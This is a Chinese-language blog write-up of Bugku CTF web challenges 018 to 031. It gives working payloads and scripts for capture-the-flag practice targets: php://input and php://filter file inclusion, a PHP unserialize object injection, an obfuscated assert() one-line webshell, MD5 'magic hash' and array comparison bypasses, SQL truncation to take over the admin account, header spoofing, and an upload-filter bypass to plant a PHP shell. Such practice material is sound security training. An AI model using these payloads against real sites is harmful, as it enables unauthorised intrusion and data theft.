Bugku_web_从零开始(二)

Bugku_web_从零开始(二)

018 速度要快

打开网页,查看源码
在这里插入图片描述
提示使用post方法传一个margin过去,但不知道应该传什么;使用burpsuite抓包看看,在repeater里看到了flag,是一个base64编码,解码后尝试提交,提示不正确,又重新抓了几次包,发现包头的flag是不断变化的,发觉flag可能是需要传入的margin的值,要快速传值,使用python脚本:`

import requests
import base64

url = "http://123.206.87.240:8002/web6/"
r = requests.session() #会话保持
headers = r.get(url).headers
str1 = base64.b64decode(headers['flag'])
str2 = base64.b64decode(repr(str1).split(':')[1])

payload = {'margin':str2}
flag = r.post(url,payload)
print (flag.text)

运行得到flag;

019 cookies欺骗

打开网页是一串字符串,查看源码没有发现什么,字符串也似乎没有什么价值,通过观察url:

在这里插入图片描述
“a2V5cy50eHQ=”是base64编码解码后为key.txt,构造payload尝试读取index.php,要将其转换为base64编码,尝试使line=1;
在这里插入图片描述
根据回显发现应该是index.php的源码;
写一个python脚本将index.php源码读取出来:

import requests

for i in range(50):
    url='http://123.206.87.240:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
    s=requests.get(url)
    print (s.text)

读取出来的index.php源码:

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';

}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];

}


?>

分析源码,前面判断传参,后面判断cookie必须满足margin=margin才能访问keys.php(base64编码)
执行后页面是空白的,右键查看源码,flag出来啦

19 never give up

打开网页只显示一串字符串,查看源码发现
在这里插入图片描述
访问1p.html,发现页面倍重定向到bugku主页,直接查看1p.html源码,即在链接前添加:view-source: (也可使用burp抓包)
在这里插入图片描述
发现url编码,解码后发现注释部分有base64编码,解码后又是url编码,继续解码;最终得到:

";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
?>

分析代码

stripos(a,b) 函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)。
file_get_contents 将整个文件读入一个字符串
strlen() 函数返回字符串的长度
substr() 函数返回字符串的一部分。 substr(string,start,length) ,length参数可选。如 substr($b,0,1) 就是在参数b里面 ,从0开始返回1个长度的字符串
eregi(“111”.substr($b,0,1),“1114”) 判断"1114"这个字符串里面是否有符合"111".
substr($b,0,1)这个规则的总的来说,如果a参数传入文件内有 "bugku is a nice plateform!"字符串,并且id参数为0 , b参数长度大于5,“1114"这个字符串里面是否有符合"111”.substr($b,0,1)这个规则的,substr($b,0,1)不能等于4 以上这些条件都满足,就请求 f4l2a3g.txt
尝试试能不能直接访问 f4l2a3g.txt ;
成功得到flag;

常规思路:https://ciphersaw.me/2017/12/26/%E3%80%90Bugku%20CTF%E3%80%91%20Web%20%E2%80%94%E2%80%94%20never%20give%20up/

020 welcome to bugkuctf

打开网页“you are not the number of bugku !”查看源码发现:

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

代码有如下三个要求:
1、$user存在且不为空
2、读取$user文件,内容为“welcome to the bugkuctf”,
3、$file为hite.php
这里需要使用php://input 和php://filter两个协议;
php://input
当传进去的参数作为文件名变量来打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取即:

http://123.206.87.240:8006/test1/index.php?txt=php://input&file=hint.php&password=
post data:welcome to the bugkuctf

我们的主要目的应该是读取hint.php的源码,再使用php://filter的知识即:

http://123.206.87.240:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=

可得到hint.php的base编码源码:

PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==

解码得到hint.php :

<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>  

同理构造url可读取index.php的源码:

http://123.206.87.240:8006/test1/index.php?txt=**php://input**&file=php://filter/read=convert.base64-encode/resource=index.php&password=
PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg
<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}    
?>   
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

从上面获取的源码可得到如下信息:

1、在提示hint.php中提示flag.php,从index.php可以看到对关键词flag进行了屏蔽

2、hint.php中定义了一个类Flag,很有意思的是中间有个 __tostring 方法,这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数;

3 、__tostring 方法执行时,将变量$file作为文件名输出文件内容,结合提示flag.php,猜测屏蔽的flag.php文件在此打开

4、在index.php源码中看到了$password的作用

将hint.php中的Flag方法当做字符串执行时,会自动执行 __tostring方法,只有echo,只能输出一个或多个字符串,所以构造password为Flag类型,其中的string变量
flie=flag.php即可

还注意到
password=unserialize(password);
因此知道需要构造序列化对象payload为

O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

 http://123.206.87.240:8006/test1/index.php?txt=**php://input**&file=php://filter/read=convert.base64-encode/resource=hint.php&password= O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

得到flag!
参考文章:
https://blog.csdn.net/csu_vc/article/details/78375203
https://blog.csdn.net/wy_97/article/details/77771026

021 过狗一句话

题目提示:

<?php $poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>

exlpde()分割a#s#s#e#r#t为assert,使用assert()函数的解析传进来的s串,assert有代码执行漏洞。
解题payload

?s=print_r(scandir('./'))

扫描当前目录,并按数组输出。
在这里插入图片描述
访问f94lag.txt,得到flag;

022 字符?正则?

<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}

审查代码可以看出我们要构造出符合正则表达式的字符串通过GET传参传过去就可以得到key 即 flag

分析:
定界符:/和/(一般来说是这两个,其实除了\和字母数字其它的只要是成对出现都可以看做定界符,比如##、!!之类);

. (点):表示可以匹配任何字符;

* :前面的字符重复零次或多次;

{4,7} :前面的字符重复4~7次;

\ (反斜杠):后面的字符被转义;

[a-z] :在a到z中匹配 ;

[[:punct:]] :匹配任何标点符号;

/i :表示这个正则表达式对大小写不敏感;

至此,我们可以对这道题的正则表达式进行构造。

例如:id=keyskeysssskey:/s/skeya!
得到flag;

参考链接:正则表达式中各种字符的含义

023 前女友(SKCTF)

在这里插入图片描述
打开链接为一段php代码

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

分析代码,需满足以下条件:
1、$v1!=$v2 && md5( v 1 ) = = m d 5 ( v1) == md5( v1)==md5(v2)
2、!strcmp($v3, $flag)=1
利用
1、MD5是不能处理数组的,md5(数组)会返回null,所以md5(a[])==null,md5(b[])==null,md5(a[])=md5(b[])=null,
2、strcmp函数将数组与字符串进行比较会返回0
构造: v1[]=1&v2[]=2&v3[]=3
得到flag;

024 login1(SKCTF)

打开网页是一个登录界面,先注册一个账号;
试着注册“admin”用户,提示该用户已被占用,那就随便注册了一个,注册成功后尝试登录,提示:
在这里插入图片描述
不是管理员无法查看,所以我们需要用管理员身份登录进去,
想要尝试暴力破解,但是,想到注册的时候是要大写字母加小写字母加数字,这样暴力破解没那么好用了,题目提示hint:SQL约束攻击

1、在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire
”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。

SELECT * FROM users WHERE username='vampire ';

但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。

2、在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。

根据这个漏洞,我们需要注册一个在数据库中会被认为是admin的账户,然后使用这个admin账户登录。
注册一个”admin “(有多个空格)的用户,然后登录;
登录后得到flag;

025 你从哪里来

打开网页,显示一串字符串“are you from google?”,再根据题目“你从哪里来”,想到HTTP请求头中的Referer(记录访问来源,统计访问量,可以用来做防盗链);
使用burp修改HTTP Referer头,即构造
Referer: https://www.google.com
即可得到flag;

026 md5 collision(NUPT_CTF)

题目提示MD5碰撞
具体描述:

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "flag{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0e”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,只要哈希值都是以”0e”开头的,那么PHP将会认为他们相同,都是0。

攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0e”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0e”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。

0e开头的MD5的值:

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

?a=
其中任意一个即可得到flag;

027 程序员本地网站

题目提示要求从本地访问,用到‘X-Forwarded-For“的知识点;

X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由
Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP
代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。
使用burpsuite抓包,加上:X-Forwarded-For: 127.0.0.1,发送请求得到flag;

HTTP X-Forwarded-For 介绍

028 各种绕过

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';
} 

分析代码,我们发现需要满足uname的sha1和值与passwd的sha1的值相等,同时他们两个的值又不能相等;
这是很熟悉的套路, 只要构造数组即可:

> http://123.206.87.240:8002/web7/?uname[]=1&id=margin

> POST : passwd[]=2

029 web8

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

由源码可知,获取flag,要使、$ac不为空,$f 的值从文件$ fn中获取,并且$ac===$f
根据题目的提示我们猜测目录下有txt文件,于是我们试出了http://120.24.86.145:8002/web8/flag.txt下有flags

于是根据题意构造得

http://123.206.87.240:8002/web8/?ac=flags&&fn=flag.txt

得到flag;
或:
构造
http://123.206.87.240:8002/web8/?ac=a&&fn=php://input
post data :a
需要执行两次得到flag;

  • php://input 是个可以访问请求的原始数据的只读流
  • php://input 读取POST数据,不可读取GET数据
  • $data = file_get_contents(“php://input”);

030 细心

打开网站:
在这里插入图片描述

尝试有没有可以进入的文件,扫一下目录
在这里插入图片描述
得到关键目录robots.txt,进入;
在这里插入图片描述
又发现关键目录 /resus1.php
进入:
在这里插入图片描述
根据题目开始的提示:想办法变成admin
于是构造

http://123.206.87.240:8002/web13/resusl.php?x=admin

得到flag;

031 求getshell

打开链接
在这里插入图片描述
上传文件,getshell;
上传一句话,bp抓包:
在这里插入图片描述
修改content-type标头为image/jpeg
上传失败!
可能是waf严格匹配,对文件类型进行二次判断
请求头里的Content-Type字段,进行大小写绕过,也就是把multipart/form-data中任意一个字母改成大写即可;
multipart/form-data : 需要在表单中进行文件上传时,就需要使用该格式,意思是他通过表单会对文件格式再进行一次判断,并会在后端进行判断,而且它好像只支持小写字符;
在这里插入图片描述
上传成功,文件名被强制更改,尝试使用菜刀连接,无法连接;
尝试对文件后缀进行更改,最后成功找到了未被过滤的后缀php5,修改之后提交成功得到flag
在这里插入图片描述

032 INSERT INTO注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值